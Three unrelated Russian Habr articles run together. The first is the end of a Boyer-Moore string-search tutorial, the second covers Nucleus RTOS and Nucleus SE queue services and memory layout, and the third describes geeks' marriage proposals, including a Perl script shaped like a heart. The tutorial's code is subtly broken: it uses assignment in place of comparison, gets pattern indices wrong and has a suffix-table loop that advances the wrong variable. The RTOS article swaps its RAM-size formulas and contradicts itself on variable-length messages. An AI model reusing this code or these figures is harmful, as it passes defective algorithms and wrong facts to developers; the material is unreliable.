while( p <= last && text[ t + p ] == pattern[p] ){
}
```
***p <= last***— пока меньше или равно последнему индексу символа шаблона
***text[ t + p ] = pattern[p]***— пока очередной сивмол текста совпадает с символом в шаблоне.
Давайте детальнее разберем, ***что значит text[ t + p ] = pattern[p]***
Допустим мы в тексте стоим на индексе 4
```
0 1 2 3 4 5 6 7 8 9
text: s o m e s t r i n g
^
pattern: s t r i n g
```
Получается***t = 4, p = 0; text[ t + p ] = text[ 4 + 0 ] = s, pattern[0] = s***, значит условие цикла выполняется.
Код на текущий момент:
```
int find (string text, string pattern) {
int t = 0;
int last = pattern.length — 1;
while (t < text.length — last) {
int p = 0;
while( p <= last && text[ t + p ] = pattren[p] ){
Если условие цикла выполняется, сдвигаем p вперед.
p ++;
}
В результате если p == pattern.length
мы можем вернуть индекс на котором паттерн входит в текст.
if (p == pattern.length){
return t;
}
В противном случае идем к следующему индексу в строке.
t ++;
}
}
```
Получается мы имеем такой метод:
```
int find (string text, string pattern) {
int t = 0;
int last = pattern.length — 1;
while (t < text.length — last) {
int p = 0;
while( p <= last && text[ t + p ] == pattern[p] ) {
p ++;
}
if (p == pattern.length) {
return t;
}
t ++;
}
return — 1;
}
```
### Как можно ускорить этот алгоритм? Какие есть варианты?
Представим что у нас в тексте есть символ, которого нет в паттерне.
**text: some\*string**, то на сколько можно сдвигать паттерн?
А если есть повторяющиеся символы?
Например можно начать бежать с конца паттерна, то есть
```
text: somestring
^
pattern: string
^
```
Начинаем бежать с конца паттерна. Если символы не совпадают, на сколько можно сдвинуть паттерн?
> *Если символ из текста есть в нашем паттерне, то можно сразу сдвинуть до этого символа.*
>
>
```
text: somestring
pattern: string
```
> *Сдвигаем на длину паттерна минус индекс символа на котором мы стоим в тексте.*
>
>
То есть в данном случае
```
text: somestring
^
pattern: string
^
```
Когда мы начинаем бежать по паттерну с конца у нас **pattern[i] = ‘g’**, а **text[i] = ’t’**,
мы можем сдвинуть наш паттерн на **pattern.length — индекс ’t’**в паттерне.
**Индекс ’t’ в паттерне = 1**, получается 5–1 = 4, **сдвигаем паттерн на 4** символа вперед.
```
text: somestring
^
pattern: >>>>string
^
```
> *Мы можем предварительно создать таблицу для нашего паттерна.*
>
>
Посчитаем позицию каждого символа в паттерне, чтобы знать на сколько сдвигаться.
Составляем таблицу смещений, для каждого символа алфавита. Я буду в примере использовать символ \* чтобы не расписывать весь алфавит.
```
Таблица смещений:
s 0
t 1
r 2
i 3
n 4
g 5
* -1
```
Давайте возьмем другой паттерн, чтобы символы повторялись и было ясно, на сколько нужно двигать паттерн, если символы повторяются:
```
pattern: колокол
к 4
л 2 — если символ последний в строке, то оставляем его первый вход
м -1
н -1
о 5
```
Мы сдвигаем на последние вхождение символа, потому что если сдвигать на первое, то можно упустить часть входа паттерна в строку.
Попробуем реализовать эту часть алгоритма:
```
int[] createOffsetTable(string pattern) {
int[] offset = new int[128]; // количество символов зависит от
// алфавита с которым мы работаем
for (int i = 0; i < offset.length; i++){
offset[i] = -1; // заполняем базовыми значениями
}
for (int i = 0; i < pattern.length; i++){
offset[pattern[i]] = i;
}
return offset;
}
```
Добавим таблицу смещений в алгоритм поиска, что мы написали выше:
```
int find (string text, string pattern) {
int[] offset = createOffsetTable(pattern);
int t = 0;
int last = pattern.length — 1;
while (t < text.length — last){
int p = last; // начнем двигаться с конца паттерна
//Чуть чуть меняем условие цикла,
//так как теперь мы двигаемся с конца
while( p >= 0 && text[ t + p ] == pattern[p] ){
p — ;
}
if (p == -1){
return t;
}
t += last — offset[ text[ t + last ] ];
}
return — 1;
}
```
**Почему t + last ?** Смотрим на каком символе стоим в тексте и прибавляем длину шаблона. Если при поиске входа, какая то часть не совпала, то мы должны сдвинуться на символ текста в котором стоим + длина шаблона.
Например:
```
Таблица смещений для колокол:
к = 4
л = 2
о = 5
```
Шаг 1:
```
0 1 2 3 4 5 6 7 8 9 10
text: а а к о л о л о к о л о к о л
pattern: к о л о к о л
last = 7;
t += last — offset[text[t + last]]
t += last — offset[text[0 + 7]]
t += last — offset[‘о’]
t += 7–5 = 2;
t = 2;
```
Шаг 2:
```
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14
text: а а к о л о л о к о л о к о л
pattern: > > к о л о к о л
t = 2;
t += last — offset[text[t + last]]
t += last — offset[text[2 + 7]]
t += last — offset[‘о’]
t += 7–5 = 2;
t = 4;
```
Шаг 3:
```
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14
text: а а к о л о л о к о л о к о л
pattern: > > > > к о л о к о л
t = 4;
t += last — offset[text[t + last]]
t += last — offset[text[4 + 7]]
t += last — offset[‘о’]
t += 7–5 = 2;
t = 6;
```
Шаг 4:
```
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14
text: а а к о л о л о к о л о к о л
pattern: > > > > > > к о л о к о л
t = 6;
t += last — offset[text[t + last]]
t += last — offset[text[6 + 7]]
t += last — offset[‘о’]
t += 7–5 = 2;
t = 8;
```
Шаг 5:
```
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14
text: а а к о л о л о к о л о к о л
pattern: > > > > > > > > к о л о к о л
```
> *Совпадение найдено.*
>
>
На этом разбор упрощенного алгоритма Бойера-Мура закончен.
Пока мы отталкивались только от крайних символов. Но возможно ли как то использовать информацию по уже пройденным символам?
Допустим есть строка
**abcdadcd**
Как составить таблицу смещений мы уже знаем. Теперь **составим таблицу суффиксов.**
Когда мы стоим на символе d, на сколько можно сдвинуть паттерн? Сдвигаем на на расстояние до ближайшего такого же символа. В примере ниже у нас есть 2 символа d с расстояниями 2 и 4. Мы выберем 2 потому что оно меньше.
```
4
-----—
| 2
| ---
| | |
abcdadcd
^
```
Дальше рассмотрим суффикс cd. Для d мы уже записали 2.
```
2
abcdadcd
У нас есть только один суффикс cd, это значит что можно
-- сдвинуться на 4 символа.
Запишем для с = 4.
842
abcdadcd
Далее dcd. dcd в тексте больше нигде не встречается.
--- Двигаем на длину шаблона = 8
```
И для всех остальных символов пишем 8, потому что суффиксы не будут совпадать.
Теперь вернемся к нашему паттерну **колокол**.
**колокол\*** В конце всегда будет \*, еcли символ не совпал, сдвинем на 1.
```
1
колокол*
—
41
колокол*
-—
441
колокол*
--—
4441
колокол*
---—
4441
колокол*
----
```
Для **окол** мы тоже запишем **4**. Потому что у нас префикс совпадает с суффиксом.
Попробуем написать код для этого
```
createSuffix(string pattern){
int[] suffix = new int[pattern.length + 1]; // +1 для символа звездочки
for(int i = 0; i < pattern.length; i ++){
suffix[i] = pattern.length; // изначальное значение,
//длина шаблона. на сколько сдвигать если нет совпадения суффиксов
}
suffix[pattern.length] = 1; // для звездочки ставим 1
//Сначала создадим переменную, которая идет справа на лево.
for (int i = pattern.length — 1; i >= 0; i — ) {
for (int at = i; at < pattern.lenth; at ++){
string s = pattern.substring(at); // с какого символа берем подстроку
```
Например колокол с чем сравниваем?
```
--—
колокол
--—
---
---
---
кол мы сравним с око, лок, оло, кол
for (int j = at — 1; j >= 0; j — ) {
string p = pattern.substring(j, s.length); // берем подстроку той же длинны
//что и суффикс
if (p.equals(s)) {
suffix[j] = at — i;
break;
}
}
}
}
return suffix;}
```
Существует более оптимальный алгоритм, но дальше индивидуально.
Какой код у нас есть на данный момент?
```
int[] createSuffix (string pattern) {
int[] suffix = new int[pattern.length + 1];
for (int i = 0; i < pattern.length; i ++){
suffix[i] = pattern.length;
}
suffix[pattern.length] = 1;
for (int i = pattern.length — 1; i >=0; i — ){
for(int at = i; i < pattern.length; i ++){
string s = pattern.substring(at);
for (int j = at — 1; j >= 0; j — ){
string p = pattern.substring(j, s.length);
if (p == s) {
suffix[i] = at — 1;
at = pattern.length;
break;
}
}
}
}
return suffix;
}
int find(string text, string pattern) {
int[] offset = createOffset(pattern);
int[] suffix = createSuffix(pattern);
int t = 0;
int last = pattern.length — 1;
while (t < text.length — last) {
int p = last;
while (p >= 0 && text[t + p] == pattern[p]) {
p — ;
}
if (p == -1) {
return t;
}
t += Math.max (p — offset[text[t + p]], suffix[p + 1]);
}
return -1;
}
```
**p — prefix[text[t + p]]** — последний символ, который нашли и под него подстроить сдвиг нашего шаблона
**suffix[p + 1]**— значение суффикса для последнего элемента, который был сравнен.
И двигаем на максимальное значение, чтобы двигаться максимально быстро.
На этом разбор алгоритма Бойера-Мура закончен. Спасибо за внимание! =) | https://habr.com/ru/post/563972/ | null | ru | null |
# Вся правда об ОСРВ. Статья #24. Очереди: вспомогательные службы и структуры данных
В этой статье мы продолжим рассматривать очереди.
Вспомогательные службы очередей
-------------------------------
Nucleus RTOS имеет четыре вызова API, которые предоставляют вспомогательные функции связанные с очередями: сброс очереди, получение информации об очереди, получение количества очередей в приложении и получение указателей на все очереди в приложении. Первые три функции реализованы в Nucleus SE.
Предыдущие статьи серии:
[Статья #23. Очереди: введение и базовые службы](https://habr.com/post/431378/)
[Статья #22. Почтовые ящики: вспомогательные службы и структуры данных](https://habr.com/post/431118/)
[Статья #21. Почтовые ящики: введение и базовые службы](https://habr.com/post/430856/)
[Статья #20. Семафоры: вспомогательные службы и структуры данных](https://habr.com/post/429588/)
[Статья #19. Семафоры: введение и базовые службы](https://habr.com/post/429156/)
[Статья #18. Группы флагов событий: вспомогательные службы и структуры данных](https://habr.com/post/428890/)
[Статья #17. Группы флагов событий: введение и базовые службы](https://habr.com/post/428131/)
[Статья #16. Сигналы](https://habr.com/post/427439/)
[Статья #15. Разделы памяти: службы и структуры данных](https://habr.com/post/426477/)
[Статья #14. Разделы памяти: введение и базовые службы](https://habr.com/post/426425/)
[Статья #13. Структуры данных задач и неподдерживаемые вызовы API](https://habr.com/post/425353/)
[Статья #12. Службы для работы с задачами](https://habr.com/post/424713/)
[Статья #11. Задачи: конфигурация и введение в API](https://habr.com/post/424481/)
[Статья #10. Планировщик: дополнительные возможности и сохранение контекста](https://habr.com/post/423967/)
[Статья #9. Планировщик: реализация](https://habr.com/post/422615/)
[Статья #8. Nucleus SE: внутреннее устройство и развертывание](https://habr.com/post/422617/)
[Статья #7. Nucleus SE: введение](https://habr.com/post/418601/)
[Статья #6. Другие сервисы ОСРВ](https://habr.com/post/418677/)
[Статья #5. Взаимодействие между задачами и синхронизация](https://habr.com/post/415429/)
[Статья #4. Задачи, переключение контекста и прерывания](https://habr.com/post/415427/)
[Статья #3. Задачи и планирование](https://habr.com/post/415329/)
[Статья #2. ОСРВ: Структура и режим реального времени
Статья #1. ОСРВ: введение.](https://habr.com/post/414093/)
### Сброс очереди
Этот вызов API сбрасывает очередь в ее исходное, неиспользуемое состояние. Любые сообщения, которые хранятся в очереди, будут потеряны. Любые приостановленные в очереди задачи возобновятся с кодом возврата **NUSE\_QUEUE\_WAS\_RESET**.
***Вызов для сброса очереди в Nucleus RTOS***
Прототип служебного вызова:
**STATUS NU\_Reset\_Queue(NU\_QUEUE \*queue);**
Параметры:
**queue** – указатель на предоставленный пользователем блок управления очередью.
Возвращаемое значение:
**NU\_SUCCESS** – вызов был успешно завершен;
**NU\_INVALID\_QUEUE** – некорректный указатель на очередь.
***Вызов для сброса очереди в Nucleus SE***
Этот служебный вызов поддерживает основной функционал Nucleus RTOS API.
Прототип служебного вызова:
**STATUS NUSE\_Queue\_Reset(NUSE\_QUEUE queue);**
Параметры:
**queue** – индекс (ID) сбрасываемой очереди.
Возвращаемое значение:
**NUSE\_SUCCESS** – вызов был успешно завершен;
**NUSE\_INVALID\_QUEUE** – некорректный индекс очереди.
***Реализация сброса очереди в Nucleus SE***
Код функции **NUSE\_Queue\_Reset** (после проверки параметров) довольно прост. Индексам головы и хвоста очереди, а также счетчику сообщений в очереди присваивается нулевое значение.
Если блокировка задач активирована, дополнительный код отвечает за восстановление приостановленных задач:
```
while (NUSE_Queue_Blocking_Count[queue] != 0)
{
U8 index; /* check whether any tasks are blocked */
/* on this queue */
for (index=0; index
```
Каждой приостановленной задаче в очереди присваивается статус «готова» с кодом возврата **NUSE\_QUEUE\_WAS\_RESET**. После того, как этот процесс завершен, если используется планировщик Priority, вызывается функция **NUSE\_Reschedule()**, так как одна или несколько задач с высоким приоритетом могут быть готовыми к выполнению.
### Получение информации об очереди
Этот служебный вызов предоставляет информацию об очереди. Реализация этого вызова в Nucleus SE отличается от Nucleus RTOS тем, что она возвращает меньше информации, так как именование объектов, переменная длина сообщения и порядок приостановки задач не поддерживаются, а блокировка задач может быть отключена.
***Вызов для получения информации об очереди в Nucleus RTOS***
Прототип служебного вызова:
**STATUS NU\_Queue\_Information(NU\_QUEUE \*queue, CHAR \*name, VOID \*\*start\_address, UNSIGNED \*queue\_size, UNSIGNED \*available, UNSIGNED \*messages, OPTION \*message\_type, UNSIGNED \*message\_size, OPTION \*suspend\_type, UNSIGNED \*tasks\_waiting, NU\_TASK \*\*first\_task);**
Параметры:
**queue** – указатель на предоставленный пользователем блок управления очередью;
**name** – указатель на 8-символьную область для имени сообщения в очереди;
**start\_address** – указатель на указатель, в который будет записан адрес начала области данных очереди;
**queue\_size** – указатель на переменную для хранения общего количества элементов типа **UNSIGNED** в очереди;
**available** – указатель на переменную для хранения количества доступных элементов **UNSIGNED** в очереди;
messages – указатель на переменную для хранения текущего количества сообщений в очереди;
**message\_type** – указатель на переменную для хранения типа сообщений, поддерживаемых очередью. Допустимые значения — **NU\_FIXED\_SIZE** и **NU\_VARIABLE**;
**message\_size** – указатель на переменную для хранения количества элементов данных типа **UNSIGNED** в каждом сообщении очереди. Если очередь поддерживает сообщения переменной длины, это число показывает максимальную длину сообщения;
**suspend\_type** – указатель на переменную для хранения типа приостановки задач. Допустимые значения — **NU\_FIFO** и **NU\_PRIORITY**;
**tasks\_waiting** – указатель на переменную для хранения количества приостановленных на этой очереди задач;
**first\_task** – указатель на указатель задачи, в который помещается указатель первой приостановленной задачи.
Возвращаемое значение:
**NU\_SUCCESS** – вызов был успешно завершен;
**NU\_INVALID\_QUEUE** – некорректный указатель на очередь.
***Вызов для получения информации об очереди в Nucleus SE***
Этот вызов API поддерживает основной функционал Nucleus RTOS API.
Прототип служебного вызова:
**STATUS NUSE\_Queue\_Information(NUSE\_QUEUE queue, ADDR \*start\_address, U8 \*queue\_size, U8 \*available, U8 \*messages, U8 \*tasks\_waiting, NUSE\_TASK \*first\_task);**
Параметры:
**queue** – индекс очереди, о которой запрашивается информация;
**start\_address** – указатель на переменную типа **ADDR**, в которой будет храниться адрес начала области данных очереди;
**queue\_size** – указатель на переменную типа **U8**, в которой будет храниться общее количество сообщений, способное поместиться в очередь;
**available** – указатель на переменную типа **U8**, в которой будет храниться количество свободных мест в очереди;
**messages** – указатель на переменную типа **U8**, в которой будет храниться текущее количество сообщений в очереди;
**tasks\_waiting** – указатель на переменную, в которой будет храниться количество задач, приостановленных на этой очереди (ничего не возвращается, если блокировка задач отключена);
**first\_task** – указатель на переменную типа **NUSE\_TASK**, в которой будет храниться индекс первой приостановленной задачи (ничего не возвращается, если блокировка задач отключена).
Возвращаемое значение:
**NUSE\_SUCCESS** – вызов был успешно завершен;
**NUSE\_INVALID\_QUEUE** – некорректный индекс очереди;
**NUSE\_INVALID\_POINTER** – один или несколько параметров-указателей некорректен.
***Реализация отображения информации об очереди в Nucleus SE***
Реализация этого вызова API довольно проста:
```
*start_address = NUSE_Queue_Data[queue];
*queue_size = NUSE_Queue_Size[queue];
*available = NUSE_Queue_Size[queue] - NUSE_Queue_Items[queue];
*messages = NUSE_Queue_Items[queue];
#if NUSE_BLOCKING_ENABLE
*tasks_waiting = NUSE_Queue_Blocking_Count[queue];
if (NUSE_Queue_Blocking_Count[queue] != 0)
{
U8 index;
for (index=0; index
```
Функция возвращает статус очереди. Затем, если блокировка задач активирована, возвращается количество ожидающих задач и индекс первой из них (в противном случае, обоим параметрам присваивается значение 0).
### Получение количества очередей
Этот служебный вызов возвращает количество очередей, сконфигурированных в приложении. В Nucleus RTOS их количество со временем может меняться, а возвращаемое значение будет показывать текущее количество очередей. В Nucleus SE возвращаемое значение задается на этапе сборки и не может измениться.
***Вызов для счетчика очередей в Nucleus RTOS***
Прототип служебного вызова:
**UNSIGNED NU\_Established\_Queues(VOID);**
Параметры:
Отсутствуют.
Возвращаемое значение:
Количество очередей, созданных в системе.
***Вызов для счетчика очередей в Nucleus SE***
Этот вызов API поддерживает основной функционал Nucleus RTOS API.
Прототип служебного вызова:
**U8 NUSE\_Queue\_Count(void);**
Параметры:
Отсутствуют.
Возвращаемое значение:
Количество очередей, сконфигурированных в приложении.
***Реализация счетчика очередей в Nucleus SE***
Реализация этого вызова API очень проста: возвращается значение символа **#define** **NUSE\_QUEUE\_NUMBER**.
Структуры данных
----------------
Очереди используют пять или шесть структур данных (которые находятся либо в ОЗУ, либо в ПЗУ), являющихся наборами таблиц (как и другие объекты Nucleus SE), количество и размер которых соответствует количеству очередей в приложении и выбранным параметрам.
### Данные ядра в ОЗУ
Эти данные имеют следующую структуру:
**NUSE\_Queue\_Head[]** – массив указателей типа **U8**, имеет одну запись для каждой сконфигурированной очереди и указывает на голову очереди сообщений. Используется в качестве индекса адресов в **NUSE\_Queue\_Data[]** (см.ниже);
**NUSE\_Queue\_Tail[]** – массив типа **U8**, имеет одну запись для каждой сконфигурированной в приложении очереди и указывает на хвост очереди сообщений. Используется в качестве индекса адресов в **NUSE\_Queue\_Data[]** (см. ниже);
**NUSE\_Queue\_Items[]** – массив типа **U8**, имеет одну запись для каждой сконфигурированной очереди и является счетчиком сообщений в очереди. Эти данные можно считать излишними, так как эти значения можно получить через индексы начала и конца очереди, однако хранение счетчика упрощает код;
**NUSE\_Queue\_Blocking\_Count[]** – этот массив типа **U8** содержит счетчики количества задач, приостановленных на каждой очереди. Этот массив создается, только если активирована поддержка блокировки задач.
Эти структуры данных инициализируются нулями функцией **NUSE\_Init\_Queue()** при запуске Nucleus SE. Это логично, так как все очереди создаются пустыми (не используемыми).
Ниже приведены определения этих структур в файле **nuse\_init.c**:
```
RAM U8 NUSE_Queue_Head[NUSE_QUEUE_NUMBER];
RAM U8 NUSE_Queue_Tail[NUSE_QUEUE_NUMBER];
RAM U8 NUSE_Queue_Items[NUSE_QUEUE_NUMBER];
#if NUSE_BLOCKING_ENABLE
RAM U8 NUSE_Queue_Blocking_Count[NUSE_QUEUE_NUMBER];
#endif
```
### Пользовательские данные в ОЗУ
Пользователь ответственен за предоставление области ОЗУ для хранения каждой очереди. Размер этой области должен вмещать массив типа **ADDR**, в котором каждая запись соответствует одному сообщению в очереди
### Данные в ПЗУ
Эти данные имеют следующую структуру:
**NUSE\_Queue\_Data[]** – массив типа **ADDR**, имеет одну запись для каждой сконфигурированной очереди и указывает на область данных очереди (см. Пользовательские данные ОЗУ);
**NUSE\_Queue\_Size[]** – массив типа **U8**, имеет одну запись для каждой сконфигурированной очереди и показывает максимальное количество сообщений, которое может принять каждая очередь.
Эти структуры данных объявлены и инициализированы (статически) в файле **nuse\_config.c**:
```
ROM ADDR *NUSE_Queue_Data[NUSE_QUEUE_NUMBER] =
{
/* addresses of queue data areas ------ */
};
ROM U8 NUSE_Queue_Size[NUSE_QUEUE_NUMBER] =
{
/* queue sizes ------ */
};
```
### Объем памяти для очередей
Как и у всех объектов ядра Nucleus SE, объем памяти, необходимый для очередей, легко предсказуем.
Объем данных в ПЗУ (в байтах) для всех очередей в приложении можно вычислить следующим образом:
**NUSE\_QUEUE\_NUMBER \* (sizeof(ADDR) + 1)**
Объем данных ядра в ОЗУ (в байтах) для всех очередей в приложении при активированной блокировке задач вычисляется следующим образом:
**NUSE\_QUEUE\_NUMBER \* 3**
Если блокировка отключена:
**NUSE\_QUEUE\_NUMBER \* 4**
Объем пользовательских данных в ОЗУ (в байтах) для очереди с индексом **queue**:
**NUSE\_Queue\_Size[queue] \* sizeof(ADDR)**
Нереализованные вызовы API
--------------------------
Четыре вызова API, которые можно найти в Nucleus RTOS, не реализованы в Nucleus SE:
### Создание очереди
Этот вызов API создает очередь, в Nucleus SE в этом нет необходимости, так как очереди создаются статически.
Прототип служебного вызова:
**STATUS NU\_Create\_Queue(NU\_QUEUE \*queue, char \*name, VOID \*start\_address, UNSIGNED queue\_size, OPTION message\_type, UNSIGNED message\_size, OPTION suspend\_type);**
Параметры:
**queue** – указатель на предоставленный пользователем блок управления, используется для управления очередями в других вызовах API;
**name** – указатель на 7-символьное имя очереди с нулевым терминирующим байтом;
**start\_address** – адрес начала очереди;
**message\_type** – тип сообщения, поддерживаемый очередью. Может принимать значения **NU\_FIXED\_SIZE** или **NU\_VARIABLE\_SIZE**;
**message\_size** – если очередь поддерживает сообщения фиксированной длины, этот параметр задает точную длину каждого сообщения, в противном случае, если очередь поддерживает сообщения переменной длины, это значение является максимальной длиной сообщения;
**suspend\_type** – определяет тип приостановки задач в очереди. Может принимать значения **NU\_FIFO** и **NU\_PRIORITY**, которые означают принцип FIFO (First-In-First-Out) или принцип приоритета приостановки задач, соответственно.
Возвращаемое значение:
**NU\_SUCCESS** – вызов был успешно завершен;
**NU\_INVALID\_QUEUE** – нулевой указатель на блок управления очередью (**NULL**), или указатель уже используется;
**NU\_INVALID\_MEMORY** – некорректная область памяти, указанная в **start\_address**;
**NU\_INVALID\_MESSAGE** – некорректный параметр **message\_type**;
**NU\_INVALID\_SIZE** – очередь не поддерживает сообщения такой длины, либо размер очереди и/или длина сообщения равна 0;
**NU\_INVALID\_SUSPEND** – некорректный параметр **suspend\_type**.
### Удаление очереди
Этот вызов API удаляет созданную ранее очередь. В Nucleus SE в этом нет необходимости, так как очереди создаются статически и не могут быть удалены.
Прототип служебного вызова:
**STATUS NU\_Delete\_Queue(NU\_QUEUE \*queue);**
Параметры:
**queue** – указатель на блок управления очередью.
Возвращаемое значение:
**NU\_SUCCESS** – вызов был успешно завершен;
**NU\_INVALID\_QUEUE** – некорректный указатель на очередь.
### Указатели очереди
Этот вызов API строит последовательный список указателей на все очереди в системе. В Nucleus SE в этом нет необходимости, так как очереди идентифицируются при помощи простого индекса, а не указателя.
Прототип служебного вызова:
**UNSIGNED NU\_Queue\_Pointers(NU\_QUEUE \*\*pointer\_list, UNSIGNED maximum\_pointers);**
Параметры:
**pointer\_list** – указатель на массив указателей **NU\_QUEUE**. Этот массив будет заполнен указателями на созданные в системе очереди;
**maximum\_pointers** – максимальное количество указателей в массиве.
Возвращаемое значение:
Количество указателей **NU\_QUEUE** в массиве.
### Передача в очередь (Broadcast to Queue)
Этот вызов API передает сообщение всем задачам, приостановленным в очереди, которые ожидают сообщений от указанной очереди. Данная функция не реализована в Nucleus SE так как она добавляет избыточную сложность.
Прототип служебного вызова:
**STATUS NU\_Broadcast\_To\_Queue(NU\_QUEUE \*queue, VOID \*message, UNSIGNED size, UNSIGNED suspend);**
Параметры:
**queue** – указатель на блок управления очередью;
**message** – указатель на передаваемое сообщение;
**size** – количество элементов типа **UNSIGNED** в сообщении. Если очередь поддерживает сообщения переменной длины, этот параметр должен быть равен или меньше длины сообщения, поддерживаемой очередью. Если очередь поддерживает сообщения фиксированной длины, этот параметр должен быть равен длине сообщения, поддерживаемой очередью;
**suspen** – указывает, нужно ли приостанавливать вызывающую задачу, если очередь уже заполнена. Может принимать значения **NU\_NO\_SUSPEND**, **NU\_SUSPEND** или значение таймаута.
Возвращаемое значение:
**NU\_SUCCESS** – вызов был успешно завершен;
**NU\_INVALID\_QUEUE** – некорректный указатель на очередь;
**NU\_INVALID\_POINTER** – нулевой указатель на сообщение (**NULL**);
**NU\_INVALID\_SIZE** – указанная длина сообщения не совместима с длиной, указанной при создании очереди;
**NU\_INVALID\_SUSPEND** – попытка приостановки задачи из не связанного с задачей потока;
**NU\_QUEUE\_FULL** – в очереди недостаточно места для сообщения;
**NU\_TIMEOUT** – очередь все еще переполнена после истечения таймаута;
**NU\_QUEUE\_DELETED** – очередь была удалена, пока задача была приостановлена;
**NU\_QUEUE\_RESET** – очередь была сброшена, пока задача была приостановлена.
Совместимость с Nucleus RTOS
----------------------------
Как и в случае со всеми другими объектами Nucleus SE, моей целью было обеспечение максимальной совместимости кода приложений с Nucleus RTOS. Очереди не являются исключением и, с точки зрения пользователя, они реализованы также, как и в Nucleus RTOS. Есть и определенная несовместимость, которую я посчитал допустимой, с учетом того, что в результате код станет более понятным и более эффективным с точки зрения объема требуемой памяти. В остальном, вызовы API Nucleus RTOS могут быть практически напрямую перенесены на Nucleus SE.
### Идентификаторы объектов
В Nucleus RTOS все объекты описываются структурой данных (блоками управления), который имеет определенный тип данных. Указатель на этот блок управления служит идентификатором очереди. Я решил, что в Nucleus SE для эффективного использования памяти необходим другой подход: все объекты ядра описываются набором таблиц в ОЗУ и/или ПЗУ. Размер этих таблиц определяется количеством сконфигурированных объектов каждого типа. Идентификатор конкретного объекта – индекс в этой таблице. Таким образом, я определил **NUSE\_QUEUE** в качестве эквивалента **U8**, переменная (а не указатель) этого типа служит идентификатором очереди. С этой небольшой несовместимостью легко справиться, если код портируется с Nucleus SE на Nucleus RTOS и наоборот. Обычно над идентификаторами объектов не выполняются никакие операции, кроме перемещения и хранения.
Nucleus RTOS также поддерживает присваивание имен очередям. Эти имена используются только при отладке. Я исключил их из Nucleus SE, чтобы сэкономить память.
### Размер и тип сообщений
В Nucleus RTOS очередь может быть сконфигурирована таким образом, чтобы обрабатывать сообщения, состоящие из любого количества элементов типа **unsigned**. В Nucleus SE Очереди упрощены и поддерживают только одиночные сообщения типа **ADDR**. Каналы передачи данных в Nucleus SE немного более гибкие и могут стать полезной альтернативой очередям в некоторых случаях. Каналы будут рассмотрены в двух следующих статьях этого цикла.
Nucleus SE также поддерживает очереди с переменной длиной сообщений, в которых при создании указывается только максимальная длина сообщения. Сообщения переменной длины не поддерживаются Nucleus SE
### Размер очереди
В Nucleus SE максимально количество сообщений в очереди равно 256, так как все переменные и константы имеют тип **U8**. Nucleus RTOS не имеет таких ограничений.
### Нереализованные вызовы API
Nucleus RTOS поддерживает десять служебных вызовов для работы с очередями. Из них четыре не реализованы в Nucleus SE. Детали этих вызовах, а также причины такого решения можно найти в этой статье выше, в разделе «Нереализованные вызовы API».
В следующей статье будут рассматриваться каналы передачи данных.
**Об авторе:** Колин Уоллс уже более тридцати лет работает в сфере электронной промышленности, значительную часть времени уделяя встроенному ПО. Сейчас он — инженер в области встроенного ПО в Mentor Embedded (подразделение Mentor Graphics). Колин Уоллс часто выступает на конференциях и семинарах, автор многочисленных технических статей и двух книг по встроенному ПО. Живет в Великобритании. Профессиональный [блог Колина](http://blogs.mentor.com/colinwalls), e-mail: colin\_walls@mentor.com. | https://habr.com/ru/post/432804/ | null | ru | null |
# Пока баг не разлучит нас: как гики делают предложение
Согласно старой ирландской легенде, 29 февраля женщина могла сделать предложение мужчине, и отказаться он не имел права. Выходило, что самый удачный день для предложения руки и сердца выпадал для женщины лишь раз в четыре года. У мужчин с поиском «идеального дня» выходило еще хуже — любой день считался подходящим, если предложение сопровождалось кольцом и другими приятными душе атрибутами.
Сотни лет спустя не только в Ирландии, но и по всему миру продолжается поиск дня, наиболее подходящего для создания семьи. Раз уж в России так популярен День всех влюбленных, то мы решили воспользоваться особой энергетикой Валентина и подготовили несколько беспроигрышных вариантов, с которыми девушкам (и мужчинам, если вы девушка) в голову не придет сказать «нет». Гики умеют подойти к вопросу брака с находчивостью!
Фейковая страница
=================
Например, один парень создал фальшивую страницу Facebook, на которой сообщалось, что аккаунт его девушки заблокирован, для его разблокирования нужно пройти процедуру валидации…
Ответив на несколько обычных вопросов для восстановления аккаунта, введя капчу (каллиграфическую надпись «ILOVENIVEK»), девушка попала на страницу с фотографией парня и предложением выйти замуж. И, конечно же, ей был предоставлен выбор: YES или NO. К сожалению, мы не знаем, каким был бы результат, выбери девушка второй вариант.
Перловое сердце
===============
Один программист на Perl по имени Колин МакМиллен решил сделать предложение в общественном месте. Точнее, на сайте PerlMonks. Для этого он написал небольшой код, который при выполнении выводит на экран надпись: «Kristen, will you marry me?». При этом Колин придал самому листингу форму сердца.
```
#!/usr/bin/perl -w
use strict;
my$f= $[;my
$ch=0;sub l{length}
sub r{join"", reverse split
("",$_[$[])}sub ss{substr($_[0]
,$_[1],$_[2])}sub be{$_=$_[0];p
(ss($_,$f,1));$f+=l()/2;$f%=l
();$f++if$ch%2;$ch++}my$q=r
("\ntfgpfdfal,thg?bngbj".
"naxfcixz");$_=$q; $q=~
tr/f[a-z]/ [l-za-k]
/;my@ever=1..&l
;my$mine=$q
;sub p{
print
@_;
}
be $mine for @ever
```
Ответ Кристен можно увидеть в первом же [комментарии под кодом](http://www.perlmonks.org/index.pl?node_id=384100). Спойлер: ответила согласием.
Игра — наше все
===============
Пожалуй, больше всего повезло тем, у кого девушки тоже гики и любят играть в компьютерные игры. Многие из вас знают мобильную игру [Bejeweled](http://en.wikipedia.org/wiki/Bejeweled). Один американец потратил целый месяц, перепрограммируя ее так, что, когда его девушка в очередной раз набрала рекордное количество очков, на экране появилось изображение обручального кольца и надпись «Marry me!».
Конечно, размер экранчика не позволил молодому человеку развернуться. А вот одному из сотрудников компании-разработчика BioWare, поклоннику Minecraft, это оказалось сделать куда проще — созданное им кольцо было циклопических размеров:
А этот поклонник Minecraft создал целый внутриигровой аттракцион:
Еще дальше пошел молодой человек по имени Бен, чья девушка была страстной поклонницей игры [Borderlands](https://ru.wikipedia.org/wiki/Borderlands). Сам являясь геймером, Бен испытывал затруднения в общении с людьми, ему было тяжело проявлять свои эмоции. Представьте, насколько трудно ему было начать хоть с кем-то встречаться. В результате парочке очень помогло совместное прохождение игры. Этот процесс настолько облегчил психологическую притирку молодых гиков, что Бен обратился в студию Gearbox, создавшую Borderlands, с просьбой сделать для него эксклюзивный ролик на игровом движке. Он рассказал о том, что они страстные фанаты игры, и разработчики пошли ему навстречу:
Сделай сам
==========
